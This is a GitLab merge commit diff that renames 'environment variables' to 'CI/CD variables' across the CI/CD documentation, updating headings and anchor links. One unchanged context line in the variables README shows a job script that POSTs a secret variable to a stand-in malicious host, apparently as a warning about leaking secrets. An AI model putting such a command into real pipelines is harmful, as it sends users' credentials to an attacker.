Merge branch 'docs-environment-variables-to-cicd-variables' into 'master'

Update variable naming to stop using "environment"

See merge request gitlab-org/gitlab!53822

app/views/admin/application_settings/ci/_header.html.haml

@@ -8,7 +8,7 @@
 
 %p
   = _('Variables store information, like passwords and secret keys, that you can use in job scripts. All projects on the instance can use these variables.')
-  = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-level-cicd-environment-variables'), target: '_blank', rel: 'noopener noreferrer'
+  = link_to s_('Learn more.'), help_page_path('ci/variables/README', anchor: 'instance-level-cicd-variables'), target: '_blank', rel: 'noopener noreferrer'
 %p
   = _('Variables can be:')
 %ul

doc/ci/caching/index.md

@@ -87,7 +87,7 @@ use one or more of the following:
   that are only available to a particular project.
 - [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example,
   different caches on each branch). For that, you can take advantage of the
-  [CI/CD predefined variables](../variables/README.md#predefined-environment-variables).
+  [predefined CI/CD variables](../variables/README.md#predefined-cicd-variables).
 
 For runners to work with caches efficiently, you must do one of the following:
 

doc/ci/chatops/index.md

@@ -25,7 +25,7 @@ with the following arguments:
 - A `<job name>` to execute.
 - The `<job arguments>`.
 
-ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-environment-variables)
+ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-cicd-variables)
 to the job:
 
 - `CHAT_INPUT` contains any additional arguments.
@@ -55,9 +55,9 @@ functions available. Consider these best practices when creating ChatOps jobs:
 - ChatOps provides limited support for access control. If the user triggering the
   slash command has [Developer access or above](../../user/permissions.md#project-members-permissions)
   in the project, the job runs. The job itself can use existing
-  [CI/CD variables](../variables/README.md#predefined-environment-variables) like
+  [CI/CD variables](../variables/README.md#predefined-cicd-variables) like
   `GITLAB_USER_ID` to perform additional rights validation, but
-  these variables can be [overridden](../variables/README.md#priority-of-environment-variables).
+  these variables can be [overridden](../variables/README.md#priority-of-cicd-variables).
 
 ### Controlling the ChatOps reply
 

doc/ci/cloud_deployment/index.md

@@ -38,7 +38,7 @@ Some credentials are required to be able to run `aws` commands:
    A new **Access key ID** and **Secret access key** are generated. Please take a note of them right away.
 
 1. In your GitLab project, go to **Settings > CI / CD**. Set the following as
-   [environment variables](../variables/README.md#gitlab-cicd-environment-variables)
+   [CI/CD variables](../variables/README.md)
    (see table below):
 
    - Access key ID.
@@ -141,15 +141,15 @@ After you have these prerequisites ready, follow these steps:
    ```
 
    You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a
-   [file-typed environment variable](../variables/README.md#custom-environment-variables-of-type-file) instead of a
-   regular environment variable. If you choose to do so, set the variable value to be the full contents of
+   [file-typed CI/CD variable](../variables/README.md#custom-cicd-variables-of-type-file) instead of a
+   regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of
    the JSON task definition. You can then remove the JSON file from your project.
 
    In both cases, make sure that the value for the `containerDefinitions[].name` attribute is
    the same as the `Container name` defined in your targeted ECS service.
 
    WARNING:
-   `CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these environment
+   `CI_AWS_ECS_TASK_DEFINITION_FILE` takes precedence over `CI_AWS_ECS_TASK_DEFINITION` if both these
    variables are defined within your project.
 
    NOTE:
@@ -252,12 +252,12 @@ pass three JSON input objects, based on existing templates:
        CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json'
      ```
 
-   - Alternatively, you can provide these JSON objects as [file-typed environment variables](../variables/README.md#custom-environment-variables-of-type-file).
-   In your project, go to **Settings > CI / CD > Variables** and add
-   the three variables listed above as file-typed environment variables.
-   For each variable, set the value to its corresponding JSON object.
+   - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#custom-cicd-variables-of-type-file).
+     In your project, go to **Settings > CI/CD > Variables** and add
+     the three variables listed above as file-typed CI/CD variables.
+     For each variable, set the value to its corresponding JSON object.
 
-1. Provide the name of the stack you're creating and/or targeting, as an environment variable:
+1. Provide the name of the stack you're creating and/or targeting, as a CI/CD variable:
 
    ```yaml
    variables:

doc/ci/docker/using_docker_images.md

@@ -528,7 +528,7 @@ To access private container registries, the GitLab Runner process can use:
 To define which should be used, the GitLab Runner process reads the configuration in the following order:
 
 - `DOCKER_AUTH_CONFIG` variable provided as either:
-  - A [variable](../variables/README.md#gitlab-cicd-environment-variables) in `.gitlab-ci.yml`.
+  - A [variable](../variables/README.md) in `.gitlab-ci.yml`.
   - A project's variables stored on the projects **Settings > CI/CD** page.
 - `DOCKER_AUTH_CONFIG` variable provided as environment variable in `config.toml` of the runner.
 - `config.json` file placed in `$HOME/.docker` directory of the user running GitLab Runner process.
@@ -627,7 +627,7 @@ Use one of the following methods to determine the value of `DOCKER_AUTH_CONFIG`:
 To configure a single job with access for `registry.example.com:5000`,
 follow these steps:
 
-1. Create a [variable](../variables/README.md#gitlab-cicd-environment-variables) `DOCKER_AUTH_CONFIG` with the content of the
+1. Create a [variable](../variables/README.md) `DOCKER_AUTH_CONFIG` with the content of the
    Docker configuration file as the value:
 
    ```json
@@ -702,7 +702,7 @@ To configure credentials store, follow these steps:
 1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
 
    - Create a
-     [variable](../variables/README.md#gitlab-cicd-environment-variables)
+     [variable](../variables/README.md)
      `DOCKER_AUTH_CONFIG` with the content of the
      Docker configuration file as the value:
 
@@ -734,7 +734,7 @@ To configure access for `aws_account_id.dkr.ecr.region.amazonaws.com`, follow th
    Make sure that GitLab Runner can access the credentials.
 1. Make GitLab Runner use it. There are two ways to accomplish this. Either:
 
-   - Create a [variable](../variables/README.md#gitlab-cicd-environment-variables)
+   - Create a [variable](../variables/README.md)
      `DOCKER_AUTH_CONFIG` with the content of the
      Docker configuration file as the value:
 

doc/ci/docker/using_kaniko.md

@@ -49,7 +49,7 @@ In the following example, kaniko is used to:
 
 The job runs only when a tag is pushed. A `config.json` file is created under
 `/kaniko/.docker` with the needed GitLab Container Registry credentials taken from the
-[environment variables](../variables/README.md#predefined-environment-variables)
+[predefined CI/CD variables](../variables/README.md#predefined-cicd-variables)
 GitLab CI/CD provides.
 
 In the last step, kaniko uses the `Dockerfile` under the

doc/ci/environments/index.md

@@ -313,9 +313,9 @@ Dynamic environments are a fundamental part of [Review apps](../review_apps/inde
 The `name` and `url` keywords for dynamic environments can use most available CI/CD variables,
 including:
 
-- [Predefined environment variables](../variables/README.md#predefined-environment-variables)
-- [Project and group variables](../variables/README.md#gitlab-cicd-environment-variables)
-- [`.gitlab-ci.yml` variables](../yaml/README.md#variables)
+- [Predefined CI/CD variables](../variables/README.md#predefined-cicd-variables)
+- [Project and group CI/CD variables](../variables/README.md)
+- [`.gitlab-ci.yml` CI/CD variables](../yaml/README.md#variables)
 
 However, you cannot use variables defined:
 
@@ -1025,7 +1025,7 @@ with `review/` would have that particular variable.
 
 Some GitLab features can behave differently for each environment.
 For example, you can
-[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-environment-variables).
+[create a secret variable to be injected only into a production environment](../variables/README.md#limit-the-environment-scopes-of-cicd-variables).
 
 In most cases, these features use the _environment specs_ mechanism, which offers
 an efficient way to implement scoping within each environment group.

doc/ci/examples/end_to_end_testing_webdriverio/index.md

@@ -191,7 +191,7 @@ option as an argument to `npm run confidence-check` on the command line.
 However, we still need to tell WebdriverIO which browser is available for it to use.
 
 [GitLab CI/CD makes
-a number of variables available](../../variables/README.md#predefined-environment-variables)
+a number of variables available](../../variables/README.md#predefined-cicd-variables)
 with information about the current CI job. We can use this information to dynamically set
 up our WebdriverIO configuration according to the job that is running. More specifically, we can
 tell WebdriverIO what browser to execute the test on depending on the name of the currently running

doc/ci/examples/laravel_with_gitlab_and_envoy/index.md

@@ -119,7 +119,7 @@ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
 cat ~/.ssh/id_rsa
 ```
 
-Now, let's add it to your GitLab project as a [variable](../../variables/README.md#gitlab-cicd-environment-variables).
+Now, let's add it to your GitLab project as a [CI/CD variable](../../variables/README.md).
 Variables are user-defined variables and are stored out of `.gitlab-ci.yml`, for security purposes.
 They can be added per project by navigating to the project's **Settings** > **CI/CD**.
 

doc/ci/jobs/index.md

@@ -150,9 +150,9 @@ additional variables. To access this page, click on the **name** of the manual j
 the pipeline view, *not* the play (**{play}**) button.
 
 This is useful when you want to alter the execution of a job that uses
-[custom environment variables](../variables/README.md#custom-environment-variables).
+[custom environment variables](../variables/README.md#custom-cicd-variables).
 Add a variable name (key) and value here to override the value defined in
-[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-environment-variables),
+[the UI or `.gitlab-ci.yml`](../variables/README.md#custom-cicd-variables),
 for a single run of the manual job.
 
 ![Manual job variables](img/manual_job_variables.png)

doc/ci/migration/circleci.md

@@ -265,7 +265,7 @@ test_async:
 
 ## Contexts and variables
 
-CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [variables](../variables/README.md#group-level-environment-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
+CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [variables](../variables/README.md#group-level-cicd-variables) can be stored outside the individual projects, and securely passed into pipelines across multiple projects.
 
 ## Orbs
 

doc/ci/multi_project_pipelines.md

@@ -220,7 +220,7 @@ the ones defined in the upstream project take precedence.
 
 #### With variable inheritance
 
-You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-environment-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
+You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#inherit-cicd-variables) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs).
 
 In the upstream pipeline:
 

doc/ci/pipelines/index.md

@@ -77,7 +77,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI.
 
 - [Pipeline settings](settings.md) for each project.
 - [Pipeline schedules](schedules.md).
-- [Custom CI/CD variables](../variables/README.md#custom-environment-variables).
+- [Custom CI/CD variables](../variables/README.md#custom-cicd-variables).
 
 ### Ref Specs for Runners
 

doc/ci/pipelines/settings.md

@@ -351,9 +351,9 @@ https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_te
 
 ![Badge with custom text and width](https://gitlab.com/gitlab-org/gitlab/badges/master/coverage.svg?job=karma&key_text=Frontend+Coverage&key_width=130)
 
-## Environment Variables
+## CI/CD Variables
 
-[Environment variables](../variables/README.md#gitlab-cicd-environment-variables) can be set in an environment to be available to a runner.
+[CI/CD variables](../variables/README.md) can be set to be available to a runner.
 
 <!-- ## Troubleshooting
 

doc/ci/secrets/index.md

@@ -80,7 +80,7 @@ To configure your Vault server:
 
 1. Configure roles on your Vault server, restricting roles to a project or namespace,
    as described in [Configure Vault server roles](#configure-vault-server-roles) on this page.
-1. [Create the following CI variables](../variables/README.md#custom-environment-variables)
+1. [Create the following CI variables](../variables/README.md#custom-cicd-variables)
    to provide details about your Vault server:
    - `VAULT_SERVER_URL` - The URL of your Vault server, such as `https://vault.example.com:8200`.
      Required.
@@ -114,7 +114,7 @@ In this example:
 
 After GitLab fetches the secret from Vault, the value is saved in a temporary file.
 The path to this file is stored in environment variable named `DATABASE_PASSWORD`,
-similar to [CI variables of type `file`](../variables/README.md#custom-environment-variables-of-type-file).
+similar to [CI variables of type `file`](../variables/README.md#custom-cicd-variables-of-type-file).
 
 For more information about the supported syntax, read the
 [`.gitlab-ci.yml` reference](../yaml/README.md#secretsvault).

doc/ci/ssh_keys/index.md

@@ -51,7 +51,7 @@ to access it. This is where an SSH key pair comes in handy.
    **Do not** add a passphrase to the SSH key, or the `before_script` will
    prompt for it.
 
-1. Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables).
+1. Create a new [CI/CD variable](../variables/README.md).
    As **Key** enter the name `SSH_PRIVATE_KEY` and in the **Value** field paste
    the content of your _private_ key that you created earlier.
 
@@ -159,7 +159,7 @@ ssh-keyscan example.com
 ssh-keyscan 1.2.3.4
 ```
 
-Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables) with
+Create a new [CI/CD variable](../variables/README.md) with
 `SSH_KNOWN_HOSTS` as "Key", and as a "Value" add the output of `ssh-keyscan`.
 
 If you need to connect to multiple servers, all the server host keys

doc/ci/triggers/README.md

@@ -17,7 +17,7 @@ The following methods of authentication are supported:
 - [Trigger token](#trigger-token)
 - [CI job token](#ci-job-token)
 
-If using the `$CI_PIPELINE_SOURCE` [predefined environment variable](../variables/predefined_variables.md)
+If using the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md)
 to limit which jobs run in a pipeline, the value could be either `pipeline` or `trigger`,
 depending on which trigger method is used.
 
@@ -35,12 +35,12 @@ A unique trigger token can be obtained when [adding a new trigger](#adding-a-new
 WARNING:
 Passing plain text tokens in public projects is a security issue. Potential
 attackers can impersonate the user that exposed their trigger token publicly in
-their `.gitlab-ci.yml` file. Use [variables](../variables/README.md#gitlab-cicd-environment-variables)
+their `.gitlab-ci.yml` file. Use [CI/CD variables](../variables/README.md)
 to protect trigger tokens.
 
 ### CI job token
 
-You can use the `CI_JOB_TOKEN` [variable](../variables/README.md#predefined-environment-variables) (used to authenticate
+You can use the `CI_JOB_TOKEN` [CI/CD variable](../variables/README.md#predefined-cicd-variables) (used to authenticate
 with the [GitLab Container Registry](../../user/packages/container_registry/index.md)) in the following cases.
 
 #### When used with multi-project pipelines
@@ -247,7 +247,7 @@ curl --request POST \
   "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
 ```
 
-Trigger variables have the [highest priority](../variables/README.md#priority-of-environment-variables)
+Trigger variables have the [highest priority](../variables/README.md#priority-of-cicd-variables)
 of all types of variables.
 
 ## Using cron to trigger nightly pipelines

doc/ci/variables/README.md

@@ -5,20 +5,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w
 type: reference
 ---
 
-# GitLab CI/CD environment variables
+# GitLab CI/CD variables
 
-An environment variable is a dynamically-named value that can
-affect the way running processes behave on an operating
-system.
+CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md)
+and jobs run. For example, you could:
 
-Environment variables are part of the environment in which a process runs.
-For example, a running process could:
-
-- Use the value of a `TEMP` environment variable to know the correct location
-  to store temporary files.
+- Use the value of a `TEMP` variable to know the correct location to store temporary files.
 - Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts.
 
-Variables are useful for customizing your jobs in GitLab CI/CD.
+Variables can be used to customize your jobs in [GitLab CI/CD](../README.md).
 When you use variables, you don't have to hard-code values.
 
 > For more information about advanced use of GitLab CI/CD:
@@ -28,28 +23,27 @@ When you use variables, you don't have to hard-code values.
 > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>&nbsp;Learn how the Cloud Native Computing Foundation (CNCF) [eliminates the complexity](https://about.gitlab.com/customers/cncf/)
 >   of managing projects across many cloud providers with GitLab CI/CD.
 
-## Predefined environment variables
+## Predefined CI/CD variables
 
-GitLab CI/CD has a [default set of predefined variables](predefined_variables.md)
+GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md)
 that you can use without any additional specification.
 You can call issue numbers, user names, branch names,
 pipeline and commit IDs, and much more.
 
-Predefined environment variables are provided by GitLab
-for the local environment of the runner.
+Predefined variables are provided by GitLab for the local environment of the runner.
 
 GitLab reads the `.gitlab-ci.yml` file and sends the information
 to the runner, where the variables are exposed. The runner then runs the script commands.
 
-### Use predefined environment variables
+### Use predefined CI/CD variables
 
-You can choose one of the existing predefined variables
+You can choose one of the existing predefined CI/CD variables
 to be output by the runner.
 
 This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`.
 
 In your `.gitlab-ci.yml` file, call the variable from your script. Ensure
-you use the correct [syntax](#syntax-of-environment-variables-in-job-scripts).
+you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts).
 
 ```yaml
 test_variable:
@@ -63,9 +57,9 @@ job `test_variable`, which is `test`:
 
 ![Output `$CI_JOB_STAGE`](img/ci_job_stage_output_example.png)
 
-## Custom environment variables
+## Custom CI/CD variables
 
-When you need a specific custom environment variable, you can
+When you need a specific custom variable, you can
 [set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md),
 or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml).
 
@@ -97,7 +91,7 @@ For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined
 
 ### Create a custom variable in the UI
 
-From within the UI, you can add or update custom environment variables:
+From the UI, you can add or update custom variables:
 
 1. Go to your project's **Settings > CI/CD** and expand the **Variables** section.
 1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details:
@@ -105,7 +99,7 @@ From within the UI, you can add or update custom environment variables:
     - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
     - **Value**: No limitations.
     - **Type**: `File` or `Variable`.
-    - **Environment scope**: `All`, or specific environments.
+    - **Environment scope**: `All`, or specific [environments](../environments/index.md).
     - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags.
     - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements).
 
@@ -146,7 +140,7 @@ build:
     - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
 ```
 
-### Custom environment variables of type Variable
+### Custom CI/CD variables of type Variable
 
 > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
 
@@ -156,7 +150,7 @@ that uses the key for the name and the value for the value.
 There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type,
 which may be further validated. They appear when you add or update a variable in the UI.
 
-### Custom environment variables of type File
+### Custom CI/CD variables of type File
 
 > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11.
 
@@ -208,7 +202,7 @@ The value of the variable must:
 
 - Be in a single line.
 - Be at least 8 characters long.
-- Not be a predefined or custom environment variable.
+- Not be a predefined or custom CI/CD variable.
 - Consist only of:
   - Characters from the Base64 alphabet (RFC4648).
   - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later).
@@ -249,7 +243,7 @@ WARNING:
 When you store credentials, there are security implications. If you are using AWS keys,
 for example, follow their [best practices](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html).
 
-## Syntax of environment variables in job scripts
+## Syntax of CI/CD variables in job scripts
 
 All variables are set as environment variables in the build environment, and
 they are accessible with normal methods that are used to access such variables.
@@ -265,7 +259,7 @@ To access environment variables, use the syntax for your runner's [shell](https:
 
 ### Bash
 
-To access environment variables in **bash**, prefix the variable name with (`$`):
+To access environment variables in **bash**, prefix the CI/CD variable name with (`$`):
 
 ```yaml
 job_name:
@@ -276,8 +270,8 @@ job_name:
 ### PowerShell
 
 To access variables in a **Windows PowerShell** environment, including system set
-environment variables, prefix the variable name with (`$env:`). Environment variables
-set by GitLab CI can also be accessed by prefixing the variable name with (`$`) with
+environment variables, prefix the variable name with (`$env:`). GitLab CI/CD variables
+can also be accessed by prefixing the variable name with (`$`) with
 [GitLab Runner 1.0.0](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/68)
 and later.
 
@@ -373,9 +367,8 @@ export GITLAB_USER_ID="42"
 
 ## `.gitlab-ci.yml` defined variables
 
-You can add variables that are set in the build environment to `.gitlab-ci.yml`.
-These variables are saved in the repository, and they
-are meant to store non-sensitive project configuration, like `RAILS_ENV` or
+You can add CI/CD variables to `.gitlab-ci.yml`. These variables are saved in the repository,
+and they are meant to store non-sensitive project configuration, like `RAILS_ENV` or
 `DATABASE_URL`.
 
 For example, if you set the variable below globally (not inside a job), it is
@@ -412,13 +405,16 @@ Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manua
 keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines)
 when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually):
 
-## Group-level environment variables
+## Group-level CI/CD variables
 
 > Introduced in GitLab 9.4.
 
-You can define per-project or per-group variables that are set in the pipeline environment. Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`). They are securely passed to GitLab Runner, which makes them available during a pipeline run.
+You can define per-project or per-group variables that are set in the pipeline environment.
+Group-level variables are stored out of the repository (not in `.gitlab-ci.yml`).
+They are securely passed to GitLab Runner, which makes them available during a pipeline run.
 
-We recommend using group environment variables to store secrets (like passwords, SSH keys, and credentials) for Premium users who:
+We recommend using group variables to store secrets (like passwords, SSH keys, and
+credentials) for users who:
 
 - Do **not** use an external key store.
 - Use the GitLab [integration with HashiCorp Vault](../secrets/index.md).
@@ -436,7 +432,7 @@ After you set them, they are available for all subsequent pipelines. Any group-l
 
 ![CI/CD settings - inherited variables](img/inherited_group_variables_v12_5.png)
 
-## Instance-level CI/CD environment variables
+## Instance-level CI/CD variables
 
 > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0.
 
@@ -477,12 +473,12 @@ To enable it:
 Feature.enable(:instance_variables_ui)
 ```
 
-## Inherit environment variables
+## Inherit CI/CD variables
 
 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0 behind a disabled [feature flag](../../administration/feature_flags.md): `ci_dependency_variables`.
 > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1.
 
-You can inherit environment variables from dependent jobs.
+You can inherit CI/CD variables from dependent jobs.
 
 This feature makes use of the [`artifacts:reports:dotenv`](../pipelines/job_artifacts.md#artifactsreportsdotenv) report feature.
 
@@ -525,7 +521,7 @@ deploy:
       artifacts: true
 ```
 
-## Priority of environment variables
+## Priority of CI/CD variables
 
 Variables of different types can take precedence over other
 variables, depending on where they are defined.
@@ -534,14 +530,14 @@ The order of precedence for variables is (from highest to lowest):
 
 1. [Trigger variables](../triggers/README.md#making-use-of-trigger-variables), [scheduled pipeline variables](../pipelines/schedules.md#using-variables),
    and [manual pipeline run variables](#override-a-variable-by-manually-running-a-pipeline).
-1. Project-level [variables](#custom-environment-variables) or [protected variables](#protect-a-custom-variable).
-1. Group-level [variables](#group-level-environment-variables) or [protected variables](#protect-a-custom-variable).
-1. Instance-level [variables](#instance-level-cicd-environment-variables) or [protected variables](#protect-a-custom-variable).
-1. [Inherited environment variables](#inherit-environment-variables).
+1. Project-level [variables](#custom-cicd-variables) or [protected variables](#protect-a-custom-variable).
+1. Group-level [variables](#group-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
+1. Instance-level [variables](#instance-level-cicd-variables) or [protected variables](#protect-a-custom-variable).
+1. [Inherited CI/CD variables](#inherit-cicd-variables).
 1. YAML-defined [job-level variables](../yaml/README.md#variables).
 1. YAML-defined [global variables](../yaml/README.md#variables).
-1. [Deployment variables](#deployment-environment-variables).
-1. [Predefined environment variables](predefined_variables.md).
+1. [Deployment variables](#deployment-variables).
+1. [Predefined CI/CD variables](predefined_variables.md).
 
 For example, if you define:
 
@@ -555,7 +551,7 @@ variables take precedence over those defined in `.gitlab-ci.yml`.
 
 Variable names are limited by the underlying shell used to execute scripts (see [available shells](https://docs.gitlab.com/runner/shells/index.html).
 Each shell has its own unique set of reserved variable names.
-Keep in mind the [scope of environment variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.
+Keep in mind the [scope of CI/CD variables](where_variables_can_be_used.md) to ensure a variable is defined in the scope in which you wish to use it.
 
 ## Where variables can be used
 
@@ -563,14 +559,14 @@ Keep in mind the [scope of environment variables](where_variables_can_be_used.md
 
 ## Advanced use
 
-### Limit the environment scopes of environment variables
+### Limit the environment scopes of CI/CD variables
 
 You can limit the environment scope of a variable by
 [defining which environments](../environments/index.md) it can be available for.
 
 To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scoping-environments-with-specs).
 
-### Deployment environment variables
+### Deployment variables
 
 > Introduced in GitLab 8.15.
 
@@ -588,11 +584,10 @@ An example integration that defines deployment variables is the
 > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/49056) in GitLab 11.7.
 
 You can configure [Auto DevOps](../../topics/autodevops/index.md) to
-pass CI variables to the running application by prefixing the key of the
+pass CI/CD variables to the running application by prefixing the key of the
 variable with `K8S_SECRET_`.
 
-These [prefixed
-variables](../../topics/autodevops/customize.md#application-secret-variables) are
+These [prefixed variables](../../topics/autodevops/customize.md#application-secret-variables) are
 then available as environment variables on the running application
 container.
 
@@ -611,7 +606,7 @@ You can override the value of a variable when:
 1. Manually triggering pipelines with [the API](../triggers/README.md#making-use-of-trigger-variables).
 1. Passing variables to a [downstream pipeline](../multi_project_pipelines.md#passing-variables-to-a-downstream-pipeline).
 
-These pipeline variables declared in these events take [priority over other variables](#priority-of-environment-variables).
+These pipeline variables declared in these events take [priority over other variables](#priority-of-cicd-variables).
 
 #### Restrict who can override variables
 
@@ -624,7 +619,7 @@ variables, an `Insufficient permissions to set pipeline variables` error occurs.
 
 The setting is `disabled` by default.
 
-If you [store your CI configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
+If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#custom-cicd-configuration-path),
 use this setting for strict control over all aspects of the environment
 the pipeline runs in.
 
@@ -648,7 +643,7 @@ value for this specific pipeline.
 
 ![Manually overridden variable output](img/override_value_via_manual_pipeline_output.png)
 
-## Environment variables expressions
+## CI/CD variable expressions
 
 > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/37397) in GitLab 10.7 for [the `only` and `except` CI keywords](../yaml/README.md#onlyexcept-advanced)
 > - [Expanded](https://gitlab.com/gitlab-org/gitlab/-/issues/27863) in GitLab 12.3 with [the `rules` keyword](../yaml/README.md#rules)
@@ -682,7 +677,7 @@ when `except` is being used, a job is not created.
 
 This follows the usual rules for [`only` / `except` policies](../yaml/README.md#onlyexcept-advanced).
 
-### Syntax of environment variable expressions
+### Syntax of CI/CD variable expressions
 
 Below you can find supported syntax reference.
 

doc/ci/variables/predefined_variables.md

@@ -5,19 +5,19 @@ info: To determine the technical writer assigned to the Stage/Group associated w
 type: reference
 ---
 
-# Predefined environment variables reference
+# Predefined variables reference
 
 For an introduction on this subject, read through the
-[getting started with environment variables](README.md) document.
+[CI/CD variables](README.md) document.
 
-Some of the predefined environment variables are available only if a minimum
+Some of the predefined variables are available only if a minimum
 version of [GitLab Runner](https://docs.gitlab.com/runner/) is used. Consult the table below to find the
 version of GitLab Runner that's required.
 
 You can add a command to your `.gitlab-ci.yml` file to
 [output the values of all variables available for a job](README.md#list-all-environment-variables).
 
-Kubernetes-specific environment variables are detailed in the
+Kubernetes-specific variables are detailed in the
 [Kubernetes deployment variables](../../user/project/clusters/index.md#deployment-variables) section.
 
 | Variable                                      | GitLab | Runner | Description |

doc/ci/variables/where_variables_can_be_used.md

@@ -124,7 +124,7 @@ They are:
   - Script execution shell.
 - Not supported:
   - For definitions where the ["Expansion place"](#gitlab-ciyml-file) is GitLab.
-  - In the `only` and `except` [variables expressions](README.md#environment-variables-expressions).
+  - In the `only` and `except` [variables expressions](README.md#cicd-variable-expressions).
 
 Some of the persisted variables contain tokens and cannot be used by some definitions
 due to security reasons.

doc/ci/yaml/README.md

@@ -1212,13 +1212,13 @@ or excluded from a pipeline. In plain English, `if` rules can be interpreted as
 `rules:if` differs slightly from `only:variables` by accepting only a single
 expression string per rule, rather than an array of them. Any set of expressions to be
 evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction)
-by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-environment-variable-expressions).
+by using `&&` or `||`, and the [variable matching operators (`==`, `!=`, `=~` and `!~`)](../variables/README.md#syntax-of-cicd-variable-expressions).
 
-Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts)
+Unlike variables in [`script`](../variables/README.md#syntax-of-cicd-variables-in-job-scripts)
 sections, variables in rules expressions are always formatted as `$VARIABLE`.
 
 `if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md)
-or [custom environment variables](../variables/README.md#custom-environment-variables).
+or [custom environment variables](../variables/README.md#custom-cicd-variables).
 
 For example:
 
@@ -1303,7 +1303,7 @@ Other commonly used variables for `if` clauses:
   branch (usually `master`). Use when you want to have the same configuration in multiple
   projects with different default branches.
 - `if: '$CI_COMMIT_BRANCH =~ /regex-expression/'`: If the commit branch matches a regular expression.
-- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-environment-variables)
+- `if: '$CUSTOM_VARIABLE !~ /regex-expression/'`: If the [custom variable](../variables/README.md#custom-cicd-variables)
   `CUSTOM_VARIABLE` does **not** match a regular expression.
 - `if: '$CUSTOM_VARIABLE == "value1"'`: If the custom variable `CUSTOM_VARIABLE` is
   exactly `value1`.
@@ -3577,7 +3577,7 @@ test:
 ```
 
 Every parallel job has a `CI_NODE_INDEX` and `CI_NODE_TOTAL`
-[environment variable](../variables/README.md#predefined-environment-variables) set.
+[environment variable](../variables/README.md#predefined-cicd-variables) set.
 
 Different languages and test suites have different methods to enable parallelization.
 For example, use [Semaphore Test Boosters](https://github.com/renderedtext/test-boosters)
@@ -3616,7 +3616,7 @@ There can be from 2 to 50 jobs.
 Jobs can only run in parallel if there are multiple runners, or a single runner is
 [configured to run multiple jobs concurrently](#use-your-own-runners).
 
